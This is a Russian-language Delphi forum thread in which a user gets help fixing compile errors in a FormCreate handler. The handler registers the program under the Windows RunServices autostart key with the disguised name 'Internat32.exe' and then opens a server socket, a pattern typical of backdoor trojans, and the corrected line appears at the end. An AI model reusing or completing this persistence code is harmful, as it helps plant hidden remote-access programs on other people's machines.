Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 07.07.2010, 23:58   #1
misher
Участник клуба
 
Аватар для misher
 
Регистрация: 26.05.2010
Сообщений: 1,648
Вопрос Что-то с переменной...

Код:
Цитата:
procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile;// вроде переменная правильно описана, но...ошибка
begin
Reglni:=TRegIniFile.Create('Softwar e');
RegIni.RootKey:=HKEY__LOCAL__MACHIN E;
Reglni.OpenKey('Software', true);
Reglni.OpenKey('Microsoft', true);
Reglni.OpenKey('Windows', true);
Reglni.OpenKey('CurrentVersion'
Reglni.WriteString('RunServices 'Internat32.exe'
Application.ExeName);
Reglni.Free;
ServerSocketl.Active:=true;
end;
Что не правильно, не могу разобраться?!
This world will never be What I expected (c)

Последний раз редактировалось misher; 08.07.2010 в 00:03.
misher вне форума Ответить с цитированием
Старый 08.07.2010, 00:02   #2
DomiNick
Студент, не
Старожил
 
Аватар для DomiNick
 
Регистрация: 29.01.2009
Сообщений: 2,067
По умолчанию

Ну во-первых подключён ли модуль Registry (в uses)?
А потом идентификатор переменной в var и далее в тексте разный...
I am the First of Cyber Evolution...
I am the First to Program your Future...
DomiNick вне форума Ответить с цитированием
Старый 08.07.2010, 00:19   #3
misher
Участник клуба
 
Аватар для misher
 
Регистрация: 26.05.2010
Сообщений: 1,648
По умолчанию

Цитата:
А потом идентификатор переменной в var и далее в тексте разный
А поточнее что там не так?
This world will never be What I expected (c)
misher вне форума Ответить с цитированием
Старый 08.07.2010, 00:30   #4
DomiNick
Студент, не
Старожил
 
Аватар для DomiNick
 
Регистрация: 29.01.2009
Сообщений: 2,067
Лампочка

Так в uses добавлен Registry?
Код:
var
RegIni:TRegIniFile; // тут 4-я буква в названии переменной - заглавная i
begin
Reglni:=TRegIniFile.Create('Softwar e'); // а тут 4-я буква в названии переменной - строчная L (и пробел лишний в Software)
RegIni.RootKey:=HKEY__LOCAL__MACHIN E; // тут тоже лишний пробел и почему-то по два подчёркивания (должно быть одно)
А это чтот непонятное:
Код:
Reglni.WriteString('RunServices 'Internat32.exe'
Application.ExeName);
- на перевод строки может ругаться и не понятно какой текст должен получаться (может кавычки не так как-то поставлены)...
I am the First of Cyber Evolution...
I am the First to Program your Future...
DomiNick вне форума Ответить с цитированием
Старый 08.07.2010, 00:46   #5
misher
Участник клуба
 
Аватар для misher
 
Регистрация: 26.05.2010
Сообщений: 1,648
По умолчанию

Цитата:
Reglni:=TRegIniFile.Create('Softwar e'); // а тут 4-я буква в названии переменной - строчная L (и пробел лишний в Software)
RegIni.RootKey:=HKEY__LOCAL__MACHIN E; // тут тоже лишний пробел и почему-то по два подчёркивания (должно быть одно)
пасиб большое. я первый раз с этой переменной работаю... а так незнаю почему эти пробелы взелись нажимаю редактировать сообщение, а там все норм.
А с этой строчкой
Цитата:
Reglni.WriteString('RunServices 'Internat32.exe'
Application.ExeName);
пытаюсь разобраться...
А в uses добавил... спасибо...(все зароботоло)...
This world will never be What I expected (c)
misher вне форума Ответить с цитированием
Старый 08.07.2010, 00:49   #6
misher
Участник клуба
 
Аватар для misher
 
Регистрация: 26.05.2010
Сообщений: 1,648
По умолчанию

На самом деле, эта строка вот так должна была выглядеть:
Цитата:
RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);
если интересно...
Ещё раз спасибо за помощь!
Тема закрыта.
This world will never be What I expected (c)
misher вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Что означает знак & перед переменной в PHP ? SuBwooFer PHP 4 01.04.2010 15:17
Что значит OUT перед названией переменной в функции? TwiX Общие вопросы Delphi 3 14.11.2009 02:30
Имя переменной как переменная. Как получить доступ к такой переменной? Denni Microsoft Office Access 8 02.04.2009 10:06
задать значение переменной в только что макросом открытой книге tolikman Microsoft Office Excel 2 17.10.2008 16:35
Работа с файлами (создание, удаление, открытие, связываение с переменной, очищение памяти переменной) Arkuz Общие вопросы Delphi 12 25.09.2007 20:47